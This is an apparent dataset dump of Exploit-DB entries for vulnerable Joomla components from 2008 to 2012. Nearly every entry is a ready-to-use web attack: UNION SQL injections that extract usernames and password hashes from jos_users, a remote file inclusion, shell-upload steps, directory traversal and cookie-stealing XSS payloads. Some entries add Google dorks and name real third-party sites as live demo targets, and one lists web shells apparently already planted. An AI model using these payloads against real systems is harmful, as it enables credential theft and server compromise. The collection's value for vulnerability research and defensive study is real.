deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11914
Description: Joomla! Component com_adds - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-03-28
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_adds Blind SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-03-28

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_adds Blind SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_adds&action=view&catid=[Blind SQL]
 
[~] ExploiT         :
 
12+AND+1=0+UNION+SELECT+1,2--
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_adds&action=view&catid=12+AND+1=0+UNION+SELECT+1,2--

  
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #15815
Description: Joomla! Component com_adsmanager - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-12-23
Author: AtT4CKxT3rR0r1ST

Exploit:
Joomla Component com_adsmanager Remote File Include
==============================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Script         : http://downloads.ziddu.com/downloadfiles/10982893/com_adsmanager.zip
.:. Dork           : inurl:"com_adsmanager"

####################################################################

===[ Exploit ]===

www.site.com/index.php?option=com_adsmanager&mosConfig_absolute_path=[shell.txt?]

####################################################################
Exploit-DB #11916
Description: Joomla! Component com_agency - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-28
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_agency SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-03-28

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_agency SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_agency&task=view&aid=[SQL]
 
[~] ExploiT         :
 
-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_agency&task=view&aid=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14

  
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #8811
Description: Joomla! Component Com_Agora 3.0.0 RC1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-05-26
Author: ByALBAYX

Exploit:
@~~=======================================~~@
====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG=====
@~~=======================================~~@
@~~=Author   : ByALBAYX

@~~=Website  : WWW.C4TEAM.ORG
@~~===============TURKISH=================~~@

              _.--"""""--._
            .'             '.
           /                 \
          ;       C4TEAM      ;
          |                   |
          |                   |
          ;                   ;                   ByALBAYX
           \ (`'--,    ,--'`) /
            \ \  _ )  ( _  / /                 WWW.C4TEAM.ORG
             ) )(')/  \(')( (
            (_ `""` /\ `""` _)
             \`"-, /  \ ,-"`/                       
              `\ / `""` \ /`
               |/\/\/\/\/\|                      
               |\        /|
               ; |/\/\/\| ;
                \`-`--`-`/
                 \      /
                  ',__,'


@~~=======================================~~@
@~~=Script   : Joomla Component Com_Agora 3.0.0 RC1

@~~=S.Site   : http://joomlame.com

@~~=Demo     : http://joomlame.com/index.php?option=com_agora&task=upload

@~~=======================================~~@

@~~=Bulunan Delik:

@~~=http://c4team.org/ [Yol] /index.php?option=com_agora&task=upload

@~~=http://c4team.org/ [Yol] /components/com_agora/img/members/0/ [Shell.php]

@~~=Arama   : "inurl:com_agora"

@~~=http://kht.by.ru/Google.txt

@~~=Vs..


@~~=L!ve Demo:

@~~=http://joomlame.com/index.php?option=com_agora&task=upload
@~~=http://joomlame.com/components/com_agora/img/members/0/xporce.php

@~~=http://dogansar.org/index.php?option=com_agora&task=upload
@~~=http://dogansar.org/components/com_agora/img/members/0/xporce.php

@~~=http://pehlivanlibeldesi.com/index.php?option=com_agora&task=upload
@~~=http://pehlivanlibeldesi.com/components/com_agora/img/members/0/xx_byalbayx.php

@~~=http://sogutluagil.com/index.php?option=com_agora&task=upload
@~~=http://sogutluagil.com/components/com_agora/img/members/0/xporce.php

@~~=Vs..
@~~=======================================~~@

@~~=Haydi Bakalim Baya Site Var iyi bir server denk gelir google moogle cikarda unlu olursunuz  :D

@~~=:/

# milw0rm.com [2009-05-26]
Exploit-DB #10817
Description: Joomla! Component com_airmonoblock - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-12-30
Author: Pyske

Exploit:
<------------------- header data start ------------------- >

#############################################################
# Joomla Component com_airmonoblock Blind SQL Injection Vulnerability
#############################################################

# Author : Pyske

# Home : www.cyber-warrior.org

# Greetz : Fl0riX , M-K-A and All Cyber-Warrior

# Name : com_airmonoblock

# Bug Type : Blind SQL Injection

# Infection : Admin login bilgileri alinabilir.

# Demo Vuln. :
TRUE(+)
http://server/index2.php?option=com_airmonoblock&task=focus&id=1 and 1=1
FALSE(-)
http://server/index2.php?option=com_airmonoblock&task=focus&id=1 and 1=0

# Bug Fix Advice : Zararli karakterler filtrelenmelidir.

#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path/ index2.php?option=com_airmonoblock&task=focus&id=1/**/and/**/1=0/**/union/**/select/**/0,1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/**/from/**/jos_users--

< -- bug code end of -- >
Exploit-DB #9706
Description: Joomla! Component com_album 1.14 - Directory Traversal
Type: webapps
Platform: php
Date: 2009-09-17
Author: DreamTurk

Exploit:
Joomla Component com_album Directory Traversal Vuln   (version Album #1.14 )

# Author     : DreamTurk

# mail       : dr3amturk@aol.com

# home page  : www.turkguvenligi.info

Down : http://www.breedveld.net/index.php?option=com_remository&Itemid=193&func=startdown&id=1
exp  : http://localhost/index.php?option=com_album&Itemid=128&target=/../..

# gretZ : aLL My Friends & turkguvenligi.info Members & t4cs1zkr4L

note:
<name>Album</name>
<creationDate>23-05-2007</creationDate>
<author>Roland Breedveld</author>
<copyright>
This component is released under the GNU/GPL License
</copyright>
<authorEmail>Roland@Breedveld.net</authorEmail>
<authorUrl>Breedveld.net</authorUrl>
<version>1.14</version>
<description>Album Component For Joomla</description>/str0ke

# milw0rm.com [2009-09-17]
Exploit-DB #33771
Description: Joomla! Component com_alert - 'q_item' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-17
Author: N2n-Hacker

Exploit:
source: https://www.securityfocus.com/bid/38827/info

The 'com_alert' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/Joomla/index.php?option=com_alert&task=item&q_item=-1 union select 1, concat(username,0x3e,password),3,4,5,6,7,8,9,10,11,12,13+from+jos_users--
Exploit-DB #36298
Description: Joomla! Component com_alfcontact 1.9.3 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-11-10
Author: Jose Carlos de Arriba

Exploit:
source: https://www.securityfocus.com/bid/50637/info

Joomla! 'com_alfcontact' extension is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker could leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Joomla! 'com_alfcontact' extension 1.9.3 is vulnerable; prior versions may also be affected. 

&email=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&emailid=5%2c%2cCareers%20at%20Foreground%20Security&emailto_id=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&extravalue=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&message=20&name=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&option=com_alfcontact&recaptcha_challenge_field=&recaptcha_response_field=manual_challenge&subject=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&task=sendemail
Exploit-DB #10952
Description: Joomla! Component com_alfresco - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-03
Author: FL0RiX

Exploit:
<------------------- header data start ------------------- >

#############################################################
#  Joomla Component com_alfresco SQL Injection Vulnerability
#############################################################

# Author          : FL0RiX

# Name            : com_alfresco

# Greez           : PyskE,Dr.Kacak And All Friends

# Bug Type        : SQL Injection

# Infection       : Admin login bilgileri alinabilir.

# Demo Vuln.      :

http://server/index.php?option=com_alfresco&task=edit&id_pan=[SQL INJ.]

# Bug Fix Advice : Zararli karakterler filtrelenmelidir.

#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path/index.php?option=com_alfresco&task=edit&id_pan=null/**/union/**/select/**/1,2,3,concat(username,0x3a,password)fl0rixf0r3v3r,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/**/from/**/jos_users--

< -- bug code end of -- >
Exploit-DB #15549
Description: Joomla! Component com_alfurqan15x - SQL Injection
Type: webapps
Platform: php
Date: 2010-11-15
Author: kaMtiEz

Exploit:
#############################################################################################################
## Joomla Component com_alfurqan15x SQL injection			                                   ##
## Author : kaMtiEz (kamtiez@indonesiancoder.com)						           ##
## Homepage : http://www.indonesiancoder.com    	     					    	   ##
## Date : 16 Nov, 2010 						                                           ##
#############################################################################################################

[ Software Information ]

[+] Vendor : http://islamis4u.co.cc/
[+] Download : http://islamis4u.co.cc/index.php?option=com_rokdownloads&view=folder&Itemid=198&id=4%3Aal-furqan-1-5
[+] version : 2.2 or lower maybe also affected
[+] Tested On : LocalHost
[+] Vulnerability : SQL
[+] Dork : "CiHuY"
[+] LOCATION : INDONESIA - JOGJA

#############################################################################################################

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/index.php?option=com_alfurqan15x&action=viewayat&surano=[BunciteRs]

[ DEMO ]

http://www.site.com/index.php?option=com_alfurqan15x&action=viewayat&surano=-999.9+UNION+ALL+SELECT+1,concat_ws(0x3a,username,0x3a,password)kaMtiEz,3,4,5+from+jos_users--

[ FIX ]

dunno :">


#############################################################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM MainHack MAGELANG CYBER ServerIsDown SurabayaHackerLink IndonesianHacker MC-CREW IH-CREW
[+] tukulesto,M3NW5,arianom,N4CK0,Jundab,d0ntcry,bobyhikaru,gonzhack,senot,Jack-,Hakz,pl4nkt0n,Hmei7
[+] Contrex,YadoY666,bumble_be,MarahMeraH,newbie_043,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck,k4mpret0
[+] Coracore,Gh4mb4s,Jack-,vYcOd,ayy,otong,CS-31,yur4kh4,MISTERFRIBO,GENI212,anharku,isarock,RyanAby


[ NOTE ] 

[+] WE ARE ONE UNITY, WE ARE A CODER FAMILY, AND WE ARE INDONESIAN CODER TEAM 
[+] Selamat Iedul Adha ;) 
[+] pondok buncit @ dejavuNet , ngebir is numero uno
[+] sendiri di malam hari sambil merokok menanti indahnya pagi ;)
[+] turut berduka atas musibah di negaraku .. :((

[ QUOTE ]

[+] INDONESIANCODER still r0x
[+] nothing secure ..
Exploit-DB #7568
Description: Joomla! Component com_allhotels - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-12-23
Author: Hussin X

Exploit:
Joomla Component com_allhotels (id)  Blind SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script  : http://www.joomlahbs.com/  &  http://www.leveltensolutions.net/spa/

DorK : inurl:index.php?option=com_allhotels

Demo :
_______


http://www.leveltensolutions.net/spa/index.php?option=com_allhotels&task=showhoteldetails&id=1+and%20substring(@@version,1,1)=5

http://www.leveltensolutions.net/spa/index.php?option=com_allhotels&task=showhoteldetails&id=1+and%20substring(@@version,1,1)=4
____________________________( Greetz )_________________________________
|
|   All members of the Forum| WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | Sakab
|
|   Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | G4N0K|
|_____________________________________________________________________

 _____   ____   __   __     _       ____        ____    ____
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|

# milw0rm.com [2008-12-23]
Exploit-DB #37374
Description: Joomla! Component com_alphacontent - 'limitstart' SQL Injection
Type: webapps
Platform: php
Date: 2012-06-10
Author: xDarkSton3x

Exploit:
source: https://www.securityfocus.com/bid/53942/info

The Alphacontent component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_alphacontent&section=weblinks&Itemid=1&lang=de&limitstart=[sqli]
Exploit-DB #33795
Description: Joomla! Component com_aml_2 - 'art' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-23
Author: Metropolis

Exploit:
source: https://www.securityfocus.com/bid/38914/info

The 'com_aml_2' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.


http://www.example.com/index.php?option=com_aml_2&task=annonce&page=detail&rub=immobilier&art=75+and+1=0+union+select+1,2,3,4,concat%28username,0xa,password,email%29,6,7,8+from+jos_users--
Exploit-DB #9016
Description: Joomla! Component com_amocourse - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2009-06-24
Author: Chip d3 bi0s

Exploit:
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Joomla Component com_amocourse (catid) SQL-injection Vulnerability
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


###################################################
[+] Author        :  Chip D3 Bi0s
[+] Email         :  chipdebios[alt+64]gmail.com
[+] Greetz        :  d4n1ux + x_jeshua + eCORE + rayok3nt
[+] Vulnerability :  SQL injection 

###################################################



Example:
http://localHost/path//index.php?option=com_amocourse&task=view&view=category&catid=n[SQL code]

n = catid valid

[SQL code]
+union+select+1,2,3,4,5,6,7,8,9,concat(username,0x3a,password),11,12+from+jos_users--


Demo Live (1)
http://www.kaieden.com/joomla/index.php?option=com_amocourse&task=view&view=category&catid=29+union+select+1,2,3,4,5,6,7,8,9,concat(username,0x3a,password),11,12+from+jos_users--


Demo Live Mambo (2)
http://www.tangotherapy.co.uk/index.php?option=com_amocourse&task=view&view=category&catid=29+union+select+1,2,3,4,5,6,7,8,9,concat(username,0x3a,password),11,12+from+jos_users--






+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2009-06-24]
Exploit-DB #13748
Description: Joomla! Component com_annonces - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-06-06
Author: Sid3^effects

Exploit:
#Title:Joomla Component com_annonces Upload Vulnerability
# Author: Sid3^effects
# Published: 2010-06-06
# email:shell_c99@yahoo.com
# vendor url : http://joomla.clubnautiquemarine.fr/
# google dork : inurl:com_annonces
############################################################################ 
  
        ooooo  .oooooo.  oooooo   oooooo     oooo 
        `888' d8P'  `Y8b  `888.    `888.     .8' 
         888 888           `888.   .8888.   .8' 
         888 888            `888  .8'`888. .8' 
         888 888             `888.8'  `888.8'  
         888 `88b    ooo      `888'    `888' 
        o888o `Y8bood8P'       `8'      `8'    
                                          
-------------------------------------------------------------------------------------- 
#####################Sid3^effects aKa HaRi################################## 
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors] 
#Thanks:*L0rd ÇrusAdêr*,d4rk-blu™®,R45C4L idi0th4ck3r,CR4C|< 008,M4n0j,MaYuR 
#ShouTZ:kedar,dec0d3r,41.w4r10r      
#spl shoutz:LiquidWorm,gunslinger_ :D   
#Catch us at www.andhrahackers.com or www.teamicw.in 
############################################################################ 
   
Description : 
Simple Ads manager.
Registred user can place a classified ad with description, date , comments, photos and custom fields. Administrator manages the categories of classified ads,
cutomizes fields in categories, validates the ads. The user receives an email after ad creation and after admin validation. User can modify its ad from the
fronted.
Front-end shows a view with ad details (2 template views possible), vendor email contact, and photos.
This component has been developped for the yacht club of french navy whose members may sell their boat.
Contact me if you find something wrong on the component to the email address ajulou at yahoo.fr or if you have translated the component in another language
Module is able to view random or lasted ads
############################################################################ 
  
Xploit : Upload Vulnerability 
  
         
 STEP 1 : Register first :) 
   
 STEP 2 : Goto "Submit an ad"option. 
  
 STEP 3 : The attacker can upload  a shell in the ITEM DESCRIPTION section and your shell gets executed :P 
          
 STEP 4 : Check your ad now in the particular category and find your shell :)
  
submit your ad :
      DEMO URL : 
           http://server/index.php?option=com_annonces&view=edit&Itemid=1 
  
 Once uploaded you can check your ad :P 
  
  
############################################################################ 
#spl thks: exploit-db team
#Sid3^effects
Exploit-DB #14488
Description: Joomla! Component com_appointinator 1.0.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-07-27
Author: Salvatore Fresta

Exploit:
Appointinator 1.0.1 Joomla Component Multiple Remote Vulnerabilities

 Name              Appointinator
 Vendor            http://appointinator.chemeia.info
 Versions Affected 1.0.1

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-07-27

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

Appointinator is a small and convenient component,  that
allows  you  to   start   appointment   polls  for  your
registered users.


II. DESCRIPTION
_______________

Some parameters  are not properly sanitised before being
used in SQL queries.  These  bugs  can be exploited from
registered users.


III. ANALYSIS
_____________

Summary:

 A) SQL Injection
 B) Blind SQL Injection
 

A) SQL Injection
________________

The parameter  aid passed to app.php when view is set to
App is not properly sanitised before being used in a SQL
query.  This can  be exploited to manipulate SQL queries
by injecting arbitrary SQL code.


B) Blind SQL Injection
______________________

The parameter aid passed to app.php via POST in the vote
form  is  not  properly sanitised before being used in a
SQL query by the store function. This can  be  exploited
to  manipulate  SQL  queries  by injecting arbitrary SQL
code.


IV. SAMPLE CODE
_______________

A) SQL Injection

http://site/path/index.php?option=com_appointinator&view=App&aid=-1 UNION SELECT 1,CONCAT(username,0x3A,password),3,4,5,6 FROM jos_users


V. FIX
______

No fix.